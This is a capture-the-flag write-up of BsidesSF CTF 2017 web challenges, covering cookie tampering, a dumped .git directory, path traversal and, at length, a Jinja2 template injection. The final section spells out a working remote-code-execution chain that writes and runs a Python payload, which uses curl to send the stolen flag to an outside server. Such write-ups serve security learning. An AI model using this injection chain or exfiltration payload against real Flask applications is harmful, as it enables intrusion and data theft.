BsidesSF CTF 2017 web writeups

I joined the infamous ENOFLAG team to play the BsidesSF CTF 2017 last weekend. I managed to solve the majority of web challenges and I'd like to share the solutions including a Jinja2 RCE.

Table of Contents:

Easyauth

This challenge was pretty easy. The website first showed simple login form:

We see the hint and try to login with guest / guest. We also follow the link displayed after a succesful login:

We first see the cookie and a suspicious username=guest entry, but user guest isn't allowed to see the flag.

If you played some CTFs or if you are familiar with web security, your instinct will tell you to change username=guest to username=administrator. That's what I did:

And after reloading the website we have the flag!

Theyear 2000

This was another basic web challenge. The website looked like this:

After reading the keyword git I had a feeling that this challenge was about an accessible .git directory in the document root. The existence of /.git/HEAD proved the point.

I researched this issue a bit a year ago and also published a tool on github to dump (and most likely restore) such .git respositories.

After the download had finished, I looked at the commit history by cat-ing the contents of the logs/refs/heads/master file:

I picked the commit-id of the Fixed a spelling error commit and used some "git plumbing and porcelain"-commands to read the contents of that specific commit:

$> git cat-file -t 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0
commit

$> git cat-file -p 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0
tree bd72ee2c7c5adb017076fd47a92858cef2a04c11
parent e039a6684f53e818926d3f62efd25217b25fc97e
author Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853667 +0000
committer Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853667 +0000

Fixed a spelling error

$> git cat-file -p bd72ee2c7c5adb017076fd47a92858cef2a04c11
100644 blob 7baff32394e517c44f35b75079a9496559c88053    index.html

$> git cat-file -p 7baff32394e517c44f35b75079a9496559c88053| grep -i FLAG
Your flag is... FLAG:what_is_HEAD_may_never_die

Zumbo 1

The zumbo web challenges were quite cool, becuase there was one piece of code and three different flags/challenges.

Here's a screenshot of the website in question:

There were no /robots.txt or /sitemap.xml or other common files, so I started to play around with the URL. Then I noticed an interesting comment in the website's sourcecode:

The error message and the page / src outputs screamed like a file inclusion bug, thus allowing us to read arbitrary files.

Requesting /server.py revealed the website's sourcecode:

import flask, sys, os
import requests

app = flask.Flask(__name__)
counter = 12345672


@app.route('/<path:page>')
def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

@app.route('/')
def home():
    return flask.redirect('/index.template');

if __name__ == '__main__':
    flag1 = 'FLAG: FIRST_FLAG_WASNT_HARD'
    with open('/flag') as f:
            flag2 = f.read()
    flag3 = requests.get('http://vault:8080/flag').text

    print "Ready set go!"
    sys.stdout.flush()
    app.run(host="0.0.0.0")

<!-- page: server.py, src: /code/server.py -->

The variable flag1 contains the first flag.

Zumbo 2

From the sourcecode of the first part (Zumbo 1) we know that the second flag is in the /flag file and we somehow have to read that. The webserver apparently runs in the /code/ directory.

We have to request /../flag, but most browsers are smart enough to detect that /../flag will result in /flag and request the latter one. Unfortunately, this is not what we want. An intercepting proxy like Burp or a curl with the switch --path-as-is won't manipulate the URL:


And yay, we got the second flag.

Zumbo 3

The real fun started with the third part. We have to figure out a way to read from an URL ( http://vault:8080/flag). Lets have another look at the vulnerable function:

@app.route('/<path:page>')
def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

The template is read using python's built-in open function and then rendered using flask.render_template_string.

I first started to look for ways to pass an URL to the open function, but apart from the file://-protocol, no other protocols are supported.

Passing /proc/self/environ, which contains the current process' environment variables, also somehow didn't work.

My third attempt was to try to iterate over (aka brute force) all PIDs by trying to read /proc/$PID/sched and once the correct PID is found somehow use the file handles to read/write a custom template or so. As I didn't want to overload the server and/or get banned, I set a quite generous timeout.

But after a while it turned out that this method isn't really effective. I had another look on the sourcecode, especially the exception handling:

    except Exception as e:
        template = str(e)

The alternative template is the error string and the error string contains our supplied (malicious) file name.

We can render arbitrary templates now! Flask uses the Jinja2 template engine, so we have a Jinja2 template injection!

I've read about template injections (i.e in Uber's websites), but have never found one in-the-wild or exploited one. So this seemed like a good opportunity to learn something new!

There are some good blogposts about Jinja2 template injections with the conclusion that it can lead to RCE!

I've read the blogposts and followed the steps to traverse the inheritance tree until I got a list of possible types and classes which I could instantiate, e.g. the list returned by requesting /{{''.__class__.__mro__[2].__subclasses__()}}
is:

[Errno 2] No such file or directory: u"[<type "type">
<type "weakref">
<type "weakcallableproxy">
<type "weakproxy">
<type "int">
<type "basestring">
<type "bytearray">
<type "list">
[...]
<type "file">
[...]
<class "email.feedparser.BufferedSubFile">
<class "pkg_resources._vendor.packaging._structures.Infinity">
<class "pkg_resources._vendor.six._LazyDescr">
<class "pkg_resources._vendor.six._SixMetaPathImporter">
<class "pkg_resources._vendor.six.Iterator">
[...]

The type file seemed interesting, because it allows to read and write the filesystem similar to a file handle returned by open.

The file type was at index 40, so requesting

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py').read()}}
``` instantiates a file object with the path `/tmp/mytest1337.py` and then reads its contents. 

The more interesting part, however, was writing to the file. My first attempts to write to the same file failed, because it seemed like one could only write numeric characters with

{{''.class.mro[2].subclasses()40.write('1337')}}

or at least any other character caused the webserver to return an error. 

Reading more about [Flask and Jinja2](http://flask.pocoo.org/docs/0.10/templating/#standard-context) I learned that the `request` and the `config` objects are part of the standard context. We can now write arbitrary payloads by passing `request.headers['X-Payload']` to the `write` function and sending the `X-Payload`-header, e.g.:

```plain
GET /{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py').read()}}
Host: zumbo-8ac445b1.ctf.bsidessf.net
[...]
X-Payload: import os;a=os.system("curl http://vault:8080/flag > /tmp/mytest1337.log");os.system("curl http://s2.gehaxelt.in:8081/{}".format(open("/tmp/mytest1337.log").read().encode("hex")))

The rendered error message then contained no such file or directory: [contents of our python file].

The next question was how to execute our payload in the custom python file? Luckily, the config object comes with a function from_pyfile() which reads, compiles and then executes a python file. That's exactly what we need!

The final HTTP request is:

GET /{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py').read()}}-{{config.from_pyfile('/tmp/mytest1337.py')}} HTTP/1.1
Host: zumbo-8ac445b1.ctf.bsidessf.net
[...]
X-Payload: import os;a=os.system("curl http://vault:8080/flag > /tmp/mytest1337.log");os.system("curl http://s2.gehaxelt.in:8081/{}".format(open("/tmp/mytest1337.log").read().encode("hex")))

Aaaaannd Boom! We got the hex-encoded flag!

Flag: FLAG: BRICK_HOUSE_BEATS_THE_WOLF

This challenge was quite cool and I enjoyed solving it.

-=-